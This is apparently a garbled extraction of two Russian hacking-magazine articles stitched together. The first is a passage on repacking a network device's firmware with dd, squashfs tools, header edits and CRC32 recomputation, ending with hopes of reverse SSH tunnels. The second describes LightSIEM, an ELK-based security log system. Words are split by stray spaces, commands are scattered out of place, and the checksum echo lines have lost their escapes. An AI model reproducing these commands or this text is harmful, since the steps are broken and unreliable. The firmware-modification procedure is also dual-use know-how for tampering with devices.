мат у них один). А имен но на пос ледние 8 байт сек ции. Для при мера возь мем
тре тий partition header:

dd if=XM‐v5.5.4.build16501.bin of=1.bin bs=1 count=56 skip=1232900 &&
 hexdump ‐C 1.bin

Пер вые 4 бай та из них — раз мер сек ции squashfs + deadcode, вто рые, судя
по  все му,  мак сималь ный  раз мер  этих  сек ций.  Что бы  пра виль но  соб рать
новую  про шив ку,  нам  нужен  будет  новый  раз мер  модифи циро ван ной  фай ‐
ловой сис темы, а так же понадо бит ся пос читать пару кон троль ных сумм.

МОДИФИКАЦИЯ ПРОШИВКИ
Ал горитм модифи кации про шив ки в общем виде будет таким: для начала нам
необ ходимо  извлечь  образ фай ловой  сис темы  из  про шив ки,  затем  ее  рас ‐
паковать;  так же  нам  нужен  будет  тре тий  заголо вок  partition  header;  далее
добав ляем  в  рас пакован ную  фай ловую  сис тему  то,  что  мы  хотим;  соз даем
образ  уже  модифи циро ван ной  ФС,  про писы ваем  в  тре тий  partition  header
новый раз мер, перес читыва ем кон троль ные сум мы и скле иваем все в новую
про шив ку. А теперь под робнее:
1. Из вле чем  дан ные,  которые  оста нут ся  неиз менны ми.  В  нашем  слу чае
это  дан ные  со  сме щения  0  по  сме щение  1232900: 

.
dd if=XM-v5.5.4.

build16501.bin of=header bs=1 count=1232900
2. Из вле каем тре тий partition header: 

.
dd if=XM-v5.5.4.build16501.bin

of=partition_header bs=1 skip=1232900 count=56
3. А вот дош ла оче редь и до squashfs: 

.
dd if=XM-v5.5.4.build16501.bin

of=fs.img bs=1 count=5391801 skip=1232956
4. По луча ем  deadcode: 

.
dd if=XM-v5.5.4.build16501.bin of=dead‐

code bs=1 count=$((6869052-6624757)) skip=6624757
5. Из вле каем  осталь ные  дан ные: 

.
dd if=XM-v5.5.4.build16501.bin

of=gzipdata bs=1 skip=6869060 count=$((6896729-6869060))
6. Рас паковы ваем фай ловую сис тему:  .  Пос ле  выпол ‐
нения этой коман ды дол жен появить ся каталог  .

unsquashfs fs.img
squashfs-root

7. Приш ло вре мя модифи циро вать рас пакован ную ФС. Для при мера я наб ‐
росал и ском пилиро вал неболь шую Hello World прог рам мку:

#include <stdio.h>
int main (int argc, char** argv) {
    printf("Hello world!!!n");
    return 0;
}
/root/toolchains/cross‐compiler‐mips/bin/mips‐gcc /root/test.c ‐o 
/root/hello ‐static

Мож но  соб рать  и  что‐нибудь  посерь езнее,  нап ример  сетевой  ска нер
.knocker

8. Ко пиру ем получив ший ся файл в  каталог с рас пакован ной фай ловой сис ‐
темой:  .cp /root/hello /root/ubnt/squashfs‐root/bin

9. Соз даем  образ  нашей,  теперь  уже  изме нен ной  ФС: 
.

Под робнее о клю чах:   — ука зыва ем, что необ ходимо исполь ‐
зовать  сжа тие  LZMA;    —  если  выход ной  файл  сущес тву ет,
переза писать его;   — не соз давать файл вос ста нов ления;

 — не вырав нивать по гра нице 4 Кбайт.

mksquashfs
squashfs‐root/  myfs  ‐comp  lzma  ‐noappend  ‐no‐recovery  ‐nopad

‐comp lzma
‐‐noappend

‐‐no‐recovery
‐‐nopad

10. Из меним  теперь  раз мер  сек ции  в  partition  header.  В  моем  слу чае  новый
раз мер сек ции = раз мер myfs + раз мер deadcode = 5455727 + 244295 =
5700022 = 0x56f9b6.  .hexedit partition_header

Смот рим новый раз мер сек ции в hexedit

11. Скле иваем  вмес те  partition_header,  myfs  и  deadcode: 
.  Вычис ляем    сек ции: 

, в моем слу чае  . Записы ваем в конец с допол ‐
няющи ми нулями: 

.

cat  partition_‐
header  myfs  deadcode  >  finalpart crc32 crc32
finalpart crc=0xe5b9e8b7

echo ‐n ‐e "xe5xb9xe8xb7x00x00x00x00" >> final‐
part

12. Те перь скле иваем header finalpart gzipdata: 
.  Счи таем  crc 32:  ,  crc=0xb35805c2,  записы ‐

ваем  хвос товую  часть  в  ито говую  про шив ку: 
.

cat header finalpart gzip‐
data  >  final crc32  final

echo  ‐n  ‐e  "END.
xb3x58x05xc2x00x00x00x00" >> final

В  ито ге  в  фай ле    ока зыва ется  наша  модифи циро ван ная  про шив ка.
Оста лось  толь ко  залить  ее  на  устрой ство  (лич но  я  заливал  через  web‐
интерфейс),  затем  зай ти  на  него  по  SSH  и  запус тить  нашу  прог рамму,
которая  прос то  выведет  в  кон соль  Hello  world.  Кста ти,  если  кому  надо,  то
модифи циро ван ную про шив ку мож но взять  .

final

тут

ВЫВОДЫ
Как видишь, модифи циро вать про шив ки не так уж и слож но. А порой и нам ‐
ного быс трей,  чем собирать с нуля из SDK. Что бы извлечь из модифи кации
устрой ства  еще  боль ше  поль зы,  мож но  попытать ся  соб рать  под  него  такие
тул зы,  как Nmap  и OpenSSH. Прав да,  у меня  пока  с  этим  ничего  не  выш ло,
пос тоян но  воз никали  какие‐то  ошиб ки  на  эта пе  кросс‐ком пиляции.
Но думаю, это все мож но побороть и соб рать свой OpenSSH с блек‐дже ком
и шлю хами, для орга низа ции обратных SSH‐тун нелей. На этом все. Уда чи!

mailto:fobosx@mail.ru
http://bit.ly/2mOTlMz
http://bit.ly/2lKtJAC
http://bit.ly/2m7lJVS
https://github.com/devttys0/binwalk
http://bit.ly/2mYW8zu
http://bit.ly/2mqIVAi
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Да же  в  мел ких  кон торах  может  сто ять  целый  зоопарк  тех ‐
ники,  в  логах  которой  черт  ногу  сло мит,  а  что  уж  говорить
о боль ших! В этой статье я покажу, как с помощью бес плат ‐
ного  и  откры того  соф та  струк туриро вать  жур налы  раз ‐
рознен ных  сис тем  безопас ности.  Это  поможет  лег че  выяв ‐
лять уяз вимос ти и замет но упростит жизнь сисад минам.

У СЕМИ НЯНЕК ДИТЯ БЕЗ ГЛАЗА
Ког да  ком пания  начина ет  всерь ез  занимать ся  информа цион ной  безопас ‐
ностью, ей при ходит ся внед рять огромное количес тво раз нород ных сис тем.
Анти вирус,  меж сетевой  экран,  сетевая  сис тема  обна руже ния  втор жений
(NIDS),  хос товая  сис тема  обна руже ния  втор жений  (HIDS),  Web  Application
Firewall  (WAF),  ска нер  уяз вимос тей,  сис тема  кон тро ля  целос тнос ти —  и  это
далеко не самый пол ный спи сок того, что может исполь зовать ся в орга низа ‐
ции.  Пос коль ку  безопас ность —  это  не  толь ко  сос тояние  сис темы  (в  клас ‐
сичес ком опре деле нии), но и про цес сы, неотъ емле мой частью которых явля ‐
ется монито ринг событий ИБ, рано или поз дно появит ся необ ходимость цен ‐
тра лизо ван ного наб людения и ана лиза логов, которые в огромном количес ‐
тве могут генери ровать ся перечис ленны ми сис темами.

И если ты захочешь про ана лизи ровать эти логи все вмес те, то стол кнешь ‐
ся  с  нес коль кими  проб лемами.  Пер вая  проб лема  зак люча ется  в  том,  что
прак тичес ки  у  всех  источни ков  логов  свой  собс твен ный  фор мат.  При  этом
некото рые сис темы могут писать логи в нес коль ких раз ных фор матах, отли ‐
чающих ся уров нем информа тив ности.

По жалуй,  для  меня  при мером  наибо лее  про думан ной  под систе мы  жур ‐
налиро вания  слу жит  меж сетевой  экран  Cisco  ASA.  С  одной  сто роны,  его
логи — обыч ный текст, который лег ко может переда вать ся по про токо лу sys‐
log.  C  дру гой  —  каж дая  стро ка  содер жит  уни каль ный  иден тифика тор  типа
события. По это му иден тифика тору лег ко мож но най ти под робное опи сание
события  в  ,  вклю чая  то,  какие  эле мен ты  в  сооб щении  могут
менять ся  и  какие  зна чения  они  могут  при нимать.  В  дан ном  при мере  пред ‐
став лены события с иден тифика тора ми 302016 ( ),
308001 ( ), 111009 (

).

до кумен тации

Teardown UDP connection
Console enable password incorrect User 'enable_15'

executed cmd

%ASA‐6‐302016: Teardown UDP connection 806353 for outside:172.18.123.
243/24057 to identity:172.18.124.136/161 duration 0:02:01 bytes 313
%ASA‐6‐308001: console enable password incorrect for number tries (
from 10.1.1.15)
%ASA‐7‐111009: User 'enable_15' executed cmd: show logging mess 106

Сис темы обна руже ния втор жений с откры тым исходным кодом — прак тичес ‐
ки пол ная про тиво полож ность. Snort NIDS име ет четыре раз личных фор мата
логов. Один из них, unified 2, — бинар ный. Для его обра бот ки тре бует ся сто ‐
рон няя  ути лита barnyard 2. Зато этот фор мат,  в отли чие от осталь ных, может
содер жать рас шифро ван ные заголов ки про токо лов прик ладно го уров ня. Три
дру гих  фор мата  тек сто вые,  два  мно гос троч ные  и  один  однос троч ный.  Уро ‐
вень информа тив ности тек сто вых фор матов по понят ным при чинам раз лича ‐
ется —  от  толь ко  опи сания  сиг натуры  и  адре сов  сокетов  до  рас шифров ки
заголов ков про токо лов тран спортно го уров ня. Для при мера — фор мат 

 выг лядит сле дующим обра зом:
aler‐

t_full

[**] [129:15:1] Reset outside window [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
03/11‐13:34:05.716632 74.125.232.231:443 ‐> 98.14.15.16:2079
TCP TTL:60 TOS:0x0 ID:25102 IpLen:20 DgmLen:40
*****R** Seq: 0xFF405C9D  Ack: 0x0  Win: 0x0  TcpLen: 20

А фор мат  :alert_fast

[119:31:1] (http_inspect) UNKNOWN METHOD [Classification: Unknown 
Traffic] [Priority: 3] {TCP} 79.164.145.163:57678 ‐> 52.73.58.27:80

OSSEC  HIDS  име ет  мень шее  количес тво  фор матов  логов,  все го  два  —
однос троч ный и мно гос троч ный. Зато нес коль ко спо собов переда чи: запись
в файл, отправ ку по про токо лу syslog, отправ ку на ZeroMQ‐сер вер. Сам фор ‐
мат и содер жание лога в боль шой сте пени зависит от того, как нас тро ен OS‐
SEC и какие в нем модули. Заголо вок у всех сооб щений OSSEC оди нако вый,
но  если  исполь зует ся  модуль  кон тро ля  целос тнос ти  syscheck,  то  пос ле
заголов ка,  в  зависи мос ти  от  нас тро ек  модуля,  будут  при сутс тво вать  кон ‐
троль ные  сум мы  изме нен ного фай ла  и  diff  его  изме нений.  Но  если  этот  же

 отправ ляет ся по про токо лу syslog, то diff’а он содер жать не будет. Если
сооб щение сфор мирова но модулем ана лиза логов log analysis, то будет при ‐
веде но ори гиналь ное сооб щение сис темно го жур нала, которое выз вало сра ‐
баты вание. И таких вари аций доволь но мно го.

alert

** Alert 1490901103.1401: ‐ pam,syslog,authentication_success,
2017 Mar 30 23:11:43 hw1‐>/var/log/secure
Rule: 5501 (level 3) ‐> 'Login session opened.'
Mar 30 23:11:42 hw1 sshd[1427]: pam_unix(sshd:session): session 
opened for user root by (uid=0)
** Alert 1490901561.1803: mail ‐ ossec,syscheck,
2017 Mar 30 23:19:21 hw1‐>syscheck
Rule: 550 (level 7) ‐> 'Integrity checksum changed.'
Integrity checksum changed for: '/etc/resolv.conf'
Size changed from '87' to '97'
Old md5sum was: 'd3465a94521bbadf60e36cdf04f04bea'
New md5sum is : '524d80c6cc4c76bd74a173ef4f40096a'
Old sha1sum was: 'b6e622f922f75200a32c3426f09ab92b8ab82b12'
New sha1sum is : '6a3e34e2f77af6687dc1583bee9118b620aa7af8'

При таком раз нооб разии фор матов и спо собов хра нения ана лиз логов всех
этих  сис тем  может  стать  доволь но  тру доем ким  про цес сом.  Конеч но  же,
для  упро щения  подоб ных  задач  уже  сущес тву ет  спе циаль ный  класс  ПО  —
SIEM. И если хороших сис тем обна руже ния втор жений с откры тым исходным
кодом  хва тает,  то  вот  SIEM  с  откры тым  исходным  кодом  прак тичес ки  нет.
Сущес тву ет доволь но мно го решений для кон крет ной IDS. Нап ример, Snorby
для  Snort  или  Analogi  для OSSEC. Но  воз можнос ти  добавить  в  эти  сис темы
какие‐то  допол нитель ные  источни ки  событий  не  пре дус мотре но.  Есть  сис ‐
темы,  которые  обла дают  и  более  широки ми  воз можнос тями,  но,  ско рее,
пред став ляют  собой  бес плат ные  вер сии  ком мерчес ких  решений  с  целым
набором  искусс твен ных  огра ниче ний.  Я  встре чал  даже  такую  сис тему,
в которой раз работ чики намерен но перепи сали зап росы к БД, что бы сде лать
их более мед ленны ми. Но даже эти сис темы име ли не самый дру жес твен ный
поль зовате лю интерфейс. Вот и получа ется, что у семи нянек дитя без гла за.

КОМАНДА ГЕРОЕВ, КОТОРУЮ ЖДАЛИ
Та ким  обра зом,  у  сооб щес тва  есть  пот ребность  в  SIEM  из  ком понен тов
с откры тым исходным кодом, что бы в ней не было искусс твен ных огра ниче ний
и  что бы  она  обла дала  такими  качес тва ми,  как  высокая  ско рость,  безопас ‐
ность  и  дру жес твен ность  по  отно шению  к  поль зовате лю.  Ведь  количес тво
угроз  информа цион ной  безопас ности  рас тет  с  каж дым  днем.  И  если  ты
работа ешь в ком пании из 50 человек, все эти угро зы ее так же зат рагива ют,
а бюд жет на ИБ, ско рее все го, чуть мень ше нуля. Ты впол не можешь бес плат ‐
но раз вернуть сво бод ные IDS, а нор маль ной воз можнос ти ана лизи ровать их
жур налы  у  тебя  не  будет.  Пос ле  дол гих  поис ков  и  даже  попыток  написать
SIEM на PHP я нашел решение,  которое поз воля ет  вооб ще не писать прог ‐
рам мный  код  и  при  этом  получать  неп лохие  резуль таты  при  поис ке  в  логах
и сиг налах тре воги. Решение сос тоит в исполь зовании высоко интегри рован ‐
ного  сте ка  при ложе ний  ELK  —  Elasticsearch,  Logstash  и  Kibana.  Неп лохим
допол нени ем  ко  все му  это му  ста нут  пла гины  Search  Guard  или  Shield.
Для  объ еди нения  всех  сос тавных  час тей:  пакетов,  кон фигов,  пла гинов
и допол нитель ных скрип тов — я написал Ansible playbook и 

.
вы ложил на GitHub

под наз вани ем LightSIEM

Ре зино вый поиск
Цен тром  это го  набора  явля ется  Elasticsearch.  Это  дви жок  для  индекса ции
и поис ка по докумен там, пос тро енный на осно ве биб лиоте ки Apache Lucene.
Раз работ чиками  он  позици они рует ся  как  воз можность  соз дать  свой  кор ‐
поратив ный Google. Он час то исполь зует ся как БД для хра нения раз нород ной
информа ции  и  пос леду юще го  поис ка  по  ней.  Elasticsearch  поз воля ет
в  режиме  реаль ного  вре мени  индекси ровать  поток  вхо дящих  сооб щений
и вес ти по ним поиск. Еще одна при меча тель ная осо бен ность Elasticsearch —
мас шта биру емость  out  of  the  box.  Дос таточ но  прос то  уста новить  нес коль ко
сер веров в одной сети, и они най дут друг дру га и авто мати чес ки рас пре делят
меж ду  собой  хра нение индексов.  Разуме ется,  в  обра бот ке  поис кового  зап ‐
роса учас тву ют все сер веры. Все манипу ляции, в том чис ле CRUD, в Elastic‐
search выпол няют ся с помощью REST API.

Уни вер саль ный кон вертер
Все зап росы и отве ты — в фор мате JSON, поэто му,  что бы переда вать логи
в Elasticsearch, нам понадо бит ся Logstash. Его основная фун кция — кон верта ‐
ция логов из одно го фор мата в дру гой. В нашем слу чае из обыч ного фай ла
или  syslog‐сооб щения  мы  будем  получать  JSON‐документ,  который  будет
отправ лять ся пря миком на индекса цию в Elasticsearch. Logstash очень гибок
в  нас трой ках  бла года ря  огромно му  количес тву  пла гинов.  Один  из  самых
полез ных — это grok. Его основная задача сос тоит в  том,  что бы про верить,
соот ветс тву ет ли получен ная на вход стро ка или стро ки одно му из задан ных
пат тернов.  Пат терны  grok  —  это  регуляр ные  выраже ния  на  сте роидах.
Во‐пер вых, они поз воля ют соб рать доволь но слож ные выраже ния из эле мен ‐
тарных бло ков. Во‐вто рых, они поз воля ют раз бить все вхо дящие сооб щения
на мно жес тво полей, каж дое из которых будет иметь свое наз вание и смысл.
При мер но такой JSON‐документ получа ется на выходе:

{
    "@timestamp" => 2017‐03‐30T19:25:54.264Z,
      "@version" => "1",
        "Classification" => {
            "Ident" => "106023",
             "Text" => "%ASA‐4‐106023"
        },
        "CreateTime" => 2017‐03‐30T20:37:22.000Z,
        "Level" => {
            "Origin" => "4",
            "Normalized" => 5
        },
        "Protocol" => "udp",
        "Name" => "cisco"
        "Source" => {
            "Node" => {
                "Geoip" => {
                    "ip" => "188.123.231.104",
                    "city_name" => "Moscow",
                    "country_code2" => "RU",
                    "location" => [
                        [0] 37.615,
                        [1] 55.752
                    ],
            },
            "Address" => "188.123.231.104",
               "Port" => "23256",
               "Name" => "188.123.231.104"
        },
    },
}

Как  я  уже  упо минал,  некото рые  IDS  пишут  в  свои  логи  нам ного  боль ше
информа ции,  чем  могут  отпра вить  по  про токо лу  syslog.  То  есть  события
от  таких  сис тем  опти маль но  читать  непос редс твен но  из  мно гос троч ного
лог‐фай ла,  куда  они  пишут  свои  сооб щения.  Дол гое  вре мя  единс твен ным
вари антом  обра бот ки  таких фай лов  была  непос редс твен ная  уста нов ка  Log‐
stash на тот же сер вер, где сто ит IDS. Не всех устра ивал такой вари ант, пос ‐
коль ку  Logstash  при  обра бот ке  боль ших  объ емов  логов  может  давать  ощу ‐
тимую  наг рузку  на  CPU  и  пот реблять  доволь но  мно го  памяти.  Кро ме  того,
Logstash  написан  на  JRuby  и,  соот ветс твен но,  тре бует  уста нов ки  на  сер вер
Java, что так же не для всех желатель но. Спе циаль но для таких слу чаев была
раз работа на  отдель ная  ути лита  Lumberjack.  Поз днее  ее  пере име нова ли
в  Logstash  forwarder,  а  пос ле  это го  про ект  был  пол ностью  перепи сан
и  получил  наз вание  Filebeats.  Кро ме  того,  в  семей стве  Beats  появи лось
еще  нес коль ко  ути лит:  Packet  для  обра бот ки  сетево го  тра фика,  Winlog
для  отправ ки  в  Logstash  натив ных  логов  Windows  EventLog  и  дру гие.  Я  уже
писал,  что  про екты,  свя зан ные  с  ELK,  раз вива ются  очень  стре митель но,
и путь от Lumberjack к Beats — тому отличный при мер. Единс твен ная задача
Beats — про читать дан ные из источни ка, нап ример фай ла с логом, и отпра ‐
вить  их  на  сер вер  Logstash.  Эта  ути лита  пот ребля ет  очень  мало  ресур сов,
прос та  в  кон фигури рова нии,  написа на  на  Go  и,  сле дова тель но,  не  тре бует
уста нов ки  Java.  Кро ме  того,  авто ры  Beats  вхо дят  в  коман ду  раз работ чиков
ELK,  а  зна чит,  проб лемы  сов мести мос ти  про токо лов,  их  реали заций  и  воз ‐
можность потерять дан ные тут минималь ны.

Прек расный цве ток «Кибаны»
Из ком понен тов при ятнее всех для поль зовате ля Kibana. Это веб‐интерфейс,
поз воля ющий  сос тавлять  зап росы  к  Elasticsearch,  стро ить  раз личные  гра ‐
фики,  гис тограм мы  и  вся чес ки  визу али зиро вать  получен ные  поис ковые
резуль таты.  Разуме ется,  прос мотреть  най ден ные  докумен ты  с  уче том  всех
извле чен ных  в  Logstash  полей  тоже мож но.  Все  диаг раммы  и  визу али зации
в Kibana пол ностью инте рак тивны. То есть, как толь ко на гис тограм ме будет
выделен  вре мен ной  про межу ток,  он  авто мати чес ки  добавит ся  в  филь тры,
и вся панель перес тро ится с уче том нового усло вия. Если же, нап ример, щел ‐
кнуть по стол бику, который показы вает уро вень сиг нала тре воги, то он так же
добавит ся в филь тр зап роса, и на всех визу али заци ях и поис ковой выдаче мы
будем уже наб людать толь ко события с этим уров нем важ ности.

Kibana dashboard

Ли га безопас ного   поис каин терне та
На  самом  деле  если  у  тебя  есть  проб лема  и  ты  начина ешь  исполь зовать
для  ее  решения  Elasticsearch,  то  у  тебя  появ ляет ся  сра зу  две  новые  проб ‐
лемы. Пер вая — это шиф рование тра фика. Да, Elasticsearch не пре дос тавля ‐
ет  никако го  шиф рования  ни  при  осу щест вле нии  зап росов  к  его  сер верам,
ни при ком муника ции сер веров меж ду собой. Вто рая проб лема зак люча ется
в  отсутс твии  при выч ной  для  баз  дан ных  сис темы  огра ниче ния  дос тупа.  Все
эти GRANT SELECT ON db2.alerts тут по дефол ту отсутс тву ют. В Elasticsearch
любой,  кто  смог  под клю чить ся  к  пор ту, может  выпол нять  любые  зап росы —
читать, изме нять, уда лять дан ные. Боль шинс тво нас тро ек в Elasticsearch хра ‐
нят ся  в  слу жеб ных  индексах,  и  их  мож но  менять  на  лету  с  помощью  точ но
таких же REST‐зап росов. В общем, любой зло умыш ленник, воору жен ный Tel‐
net‐кли ентом, может по пол ной нарушать кон фиден циаль ность, целос тность
и  дос тупность  тво его  клас тера  Elasticsearch.  А  ты  в  нем  хра нишь  дан ные
о дей стви ях как раз это го самого зло умыш ленни ка. Непоря док.

Ре шать эти задачи пред полага лось с помощью пла гинов для Elasticsearch.
Они  появи лись  далеко  не  сра зу,  и  не  все  дожили  до  нас тояще го  вре мени.
Раз работ ка  мно гих  была  оста нов лена,  так  как  появил ся  пла гин  непос редс ‐
твен но от раз работ чиков Elasticsearch — Shield. Хоть он и  тре бовал покуп ки
лицен зии,  видимо,  мно гие  соч ли  это  более  прос тым  решени ем,  чем  раз ‐
работ ка сво его пла гина безопас ности. Дру гие пла гины поп росту не успе вали
за стре митель ным раз вити ем Elasticsearch. Ведь каж дая новая вер сия прив ‐
носила  изме нения  в  API.  На  текущий  момент  есть  два  основных  пла гина,
которые  обес печива ют шиф рование  и  раз деление  прав.  Shield,  как  я  писал
выше,  —  это  ком мерчес кая  раз работ ка  коман ды  Elasticsearch.  Дру гой  —
Search Guard — явля ется сто рон ней раз работ кой гер ман ской ком пании flor‐
agunn. Его исходный код опуб ликован на GitHub.com. Раз работ чики ока зыва ‐
ют ком мерчес кую тех ничес кую под дер жку. Search Guard пред став ляет собой
набор из двух пла гинов — Search Guard SSL и Search Guard. Search Guard SSL
обес печива ет  шиф рование  дан ных  меж ду  сер верами  и  кли ента ми.  Search
Guard слу жит опци ональ ным допол нени ем к Search Guard SSL, которое обес ‐
печива ет аутен тифика цию и раз гра ниче ние прав дос тупа. Пра ва мож но огра ‐
ничи вать  как  к  индексам,  так  и  к  типам  дан ных  (обя затель ное  для  каж дого
докумен та  Elasticsearch  поле  _type).  Нап ример,  мож но  дать  дос туп  к  логам
сис тем  обна руже ния  втор жений  толь ко  офи церам  безопас ности.  А  пра во
прос мотра логов сетево го обо рудо вания выдать еще и сетевым адми нис тра ‐
торам.

Rule them all
Сра зу  пос ле  того,  как  я  в  пер вый  раз  поп робовал  свя зать  все  ком понен ты
воеди но,  ста ло  понят но,  что  пов торить  этот  под виг  с  нуля  через  пару
месяцев,  ско рее  все го,  будет  очень  тяжело.  При чина  тому,  как  всег да,
информа цион ная перег рузка и пло хая память. На поис ки некото рых нас тро ек
ухо дило ощу тимое количес тво вре мени, и  тра тить его сно ва для устра нения
той же проб лемы не хотелось. Но это еще пол беды. Если хочешь, что бы тво ‐
им  решени ем  поль зовались,  оно  дол жно  быть  дос тупным.  Для  бес плат ного
ПО глав ный кри терий дос тупнос ти — прос тота уста нов ки. В моем слу чае она
силь но  стра дала.  Самым  оче вид ным  вари антом  было  написать  огромную
статью,  которая бы показы вала,  как  все  уста нав ливать  и  нас тра ивать. Отяг ‐
чало проб лему то, что стек ELK доволь но новый и мало кто раз бирал ся в нем
хорошо. Кро ме того, какие‐то изме нения я вно сил поч ти каж дый день. Статья
рис ковала либо ока зать ся неак туаль ной к момен ту окон чания, либо никог да
не быть завер шенной. Я подумал, что было бы здо рово вмес то докумен тации
написать  скрипт,  который  был  бы  понятен  любому  челове ку  и  при  этом
еще  уста нав ливал  и  интегри ровал  все  ком понен ты  вмес те.  Таким  скрип том
ста ла ути лита авто мати зации Ansible. Она поз волила писать так называ емые
playbook’и,  которые  с  виду  выг лядят  дос таточ но  «челове копо нят но»,  а  при
запус ке прог раммой выпол няют слож ную и скуч ную пос ледова тель ность дей ‐
ствий  для  уста нов ки  и  нас трой ки  всех  ком понен тов.  Помимо  это го,  Ansible
не  тре бует  уста нов ки  на  конеч ные  сер веры  какого‐либо  агент ско го  ПО,  ей
дос таточ но толь ко дос тупа по SSH.

‐ name: Check search‐guard‐5 is installed
   command: /usr/share/elasticsearch/bin/elasticsearch‐plugin list | 
grep search‐guard‐5
  register: sg_installed
‐ name: Install search‐guard‐5
  command: /usr/share/elasticsearch/bin/elasticsearch‐plugin install 
‐b com.floragunn:search‐guard‐5:5.1.1‐9
  tags: configuration security
  when: sg_installed.stdout != "search‐guard‐5"

Unify them all
По мимо проб лемы авто мати зации, приш лось решать проб лемы сопос тавле ‐
ния  дан ных  из  раз личных  источни ков  информа ции.  Во‐пер вых,  у  каж дого
источни ка  событий  своя шка ла  уров ней  тре воги.  В  общем  слу чае  этот  уро ‐
вень дол жен показы вать, нас коль ко веро ятно, что про изош ла или про исхо дит
попыт ка втор жения. В Snort самая высокая веро ятность втор жения обоз нача ‐
ется уров нем 1, а самая низ кая — уров нем 4. А в OSSEC HIDS самая боль шая
веро ятность втор жения находит ся на 15‐м уров не сиг нала тре воги, а на уров ‐
не  0  —  события,  которые  вооб ще  не  зас лужива ют  никако го  вни мания.
Во‐вто рых,  раз ные  сис темы  выда ют  раз личные  наборы  дан ных.  Нап ример,
в  сиг налах  тре воги  от  Snort  всег да  при сутс тву ют  адрес  источни ка  и  адрес
цели  потен циаль ной  ата ки.  В  сиг налах  тре воги  от  OSSEC,  нап ротив,  таких
дан ных вооб ще может не быть или они могут при сутс тво вать в них кос венно.
Для того что бы все эти раз нород ные дан ные мож но было хоть как‐то сопос ‐
тавлять, приш лось раз работать сис тему полей, на которые раз бива ются все
вхо дящие сооб щения. За осно ву я взял стан дарт 

. В нем уже опи сана струк тура дан ных, которая пок ‐
рыла 90% всех пот ребнос тей.

IDMEF — Intrusion Detection
Message Exchange Format

Пос коль ку фор мат даты и вре мени у всех так же инди виду аль ный, эти дан ‐
ные тоже приш лось при водить к обще му виду. На текущий момент все извле ‐
каемые даты сох раня ются в поле  . В допол нение к это му
в  слу жеб ное  поле    сох раня ется  отметка  вре мени  того,  ког да
событие было сох ранено в Elasticsearch. Два этих поля необ ходимы, потому
что при переда че событий в Logstash по про токо лам с гаран тирован ной дос ‐
тавкой,  нап ример  Beats  или  TCP,  при  воз никно вении  проб лем  с  сетью
события могут быть буфери зиро ваны на переда ющих устрой ствах и переда ны
поз же. Соот ветс твен но, будет некор рек тно обра баты вать события на осно ве
поля @timestamp.

Alert.CreateTime
@timestamp
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Раз ворачи ваем LightSIEM
На  текущий момент  в  LightSIEM мож но  нап равлять  прак тичес ки  любые  логи
по про токо лам  syslog или Beats. Но не для  любого лога написа ны пат терны
в Logstash. Самая пол ная под дер жка реали зова на для OSSEC и Snort. Их логи
мож но отправ лять по про токо лу syslog, мож но писать их в стан дар тном мно ‐
гос троч ном фор мате в файл, а потом отправ лять с помощью Filebeat. Пер вый
вари ант удо бен тем, что дос таточ но прос то нас тро ить отправ ку логов по про ‐
токо лу  syslog  на  нуж ный  сер вер  —  сооб щения  сра зу  нач нут  появ лять ся
в  SIEM.  Как  я  уже  писал  в  начале  статьи,  во  вто ром  вари анте  информа тив ‐
ность будет выше, но и нас трой ка зай мет чуть боль ше вре мени, так как необ ‐
ходимо  пос тавить  допол нитель ный  пакет  и  нас тро ить  его.  Под держи вают ся
так же логи сетево го обо рудо вания Cisco — роуте ров и меж сетевых экра нов.
Час тично реали зова на под дер жка логов Auditd.

Хоть  я  и  пос тарал ся  мак сималь но  упростить  уста нов ку  LightSIEM,  давай
все же раз берем деталь но, как это сде лать, что будет про исхо дить во вре мя
запус ка  playbook’а  и  как  будут  обра баты вать ся  пос тупа ющие  логи.  Еще  до
того,  как  ты  нач нешь  инстал лировать  LightSIEM,  неп лохо  иметь  источни ки
дан ных, которые ты будешь ана лизи ровать. Как уста новить сер вер OSSEC, ты
можешь  почитать  в  моей  статье  «За  высоким  забором OSSEC»  в  «Хакере»

.  Может  тебе  при годить ся  и  .  Для  начала  нам
понадо бит ся отдель ный сер вер под управле нием Linux. Луч ше все го подой ‐
дет CentOS/RHEL/Oracle вер сии 7.0 и выше. Playbook опти мизи рован имен но
под эти дис три бути вы, но если ты пред почита ешь дру гие, то всег да можешь
разоб рать ся  с  тем,  что  дела ет  playbook,  и  модифи циро вать  его  под  свой
любимый дис три бутив, попут но заком митив резуль тат работы к нам на GitHub
;). Пос ле  того  как  ты  под готовил  сер вер и  нас тро ил  на  нем сеть  с  выходом
в  интернет,  необ ходимо  уста новить  на  него  сам  Ansible  и  unzip.  Уста новить
Ansible  про ще  все го  из  репози тория  EPEL.  Ито го,  для  начала  необ ходимо
выпол нить две коман ды:
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yum install epel‐release
yum install ansible unzip

За тем  нуж но  ска чать  архив  с  кодом  и  рас паковать  его  сле дующи ми  коман ‐
дами:

wget https://github.com/dsvetlov/lightsiem/archive/v0.2.1.zip
unzip master.zip

Те перь все готово к тому, что бы запус тить playbook и заин стал лить все необ ‐
ходимое для LightSIEM:

ansible‐playbook lightsiem‐master/lightsiem‐install.yml

Вкрат це пояс ню, что дела ет скрипт. Преж де все го инстал лиру ются офи циаль ‐
ные  репози тории  Elasticsearch.  Затем  из  них  уже  уста нав лива ются  все
основные ком понен ты — Logstash, Elasticsearch и Kibana. Далее вык ладыва ‐
ются кон фиги для Logstash. Они раз делены на нес коль ко отдель ных фай лов,
что бы было про ще ори енти ровать ся в них. Их наз начение раз берем чуть поз ‐
же.  Скрипт  так же  уста нав лива ет  допол нитель ные  пат терны  для  grok.
Это отдель ные фай лы с опи сани ем регуляр ных выраже ний, которы ми потом
пар сятся  вхо дящие  сооб щения.  Так же  скрипт  откры вает  пор ты  в  firewalld.
Если  на  сво ей  сис теме  ты  его  заменил  на  iptables —  не  беда.  Скрипт  про ‐
игно риру ет  эти  ошиб ки,  но  пор ты  тебе  при дет ся  открыть  самос тоятель но.
Пос ле это го все го скрипт уста нав лива ет Search Guard и залива ет нес коль ко
даш бордов для Kibana.

Итак,  LightSIEM  ты  уста новил,  пор ты  открыл.  Теперь  необ ходимо  нап ‐
равить в него алер ты из OSSEC. Самый прос той спо соб сде лать это — впи ‐
сать в глав ной сек ции кон фига сер вера сле дующие стро ки:

<syslog_output>
   <server>address of LightSIEM server</server>
   <port>9000</port>
   <format>default</format>
</syslog_output>

Ес тес твен но,  в  тегах  ,  нуж но  писать  адрес  сер вера,  куда  ты  уста ‐
новил LightSIEM. Спо соб чуть слож нее — уста новить на сер вер c OSSEC File‐
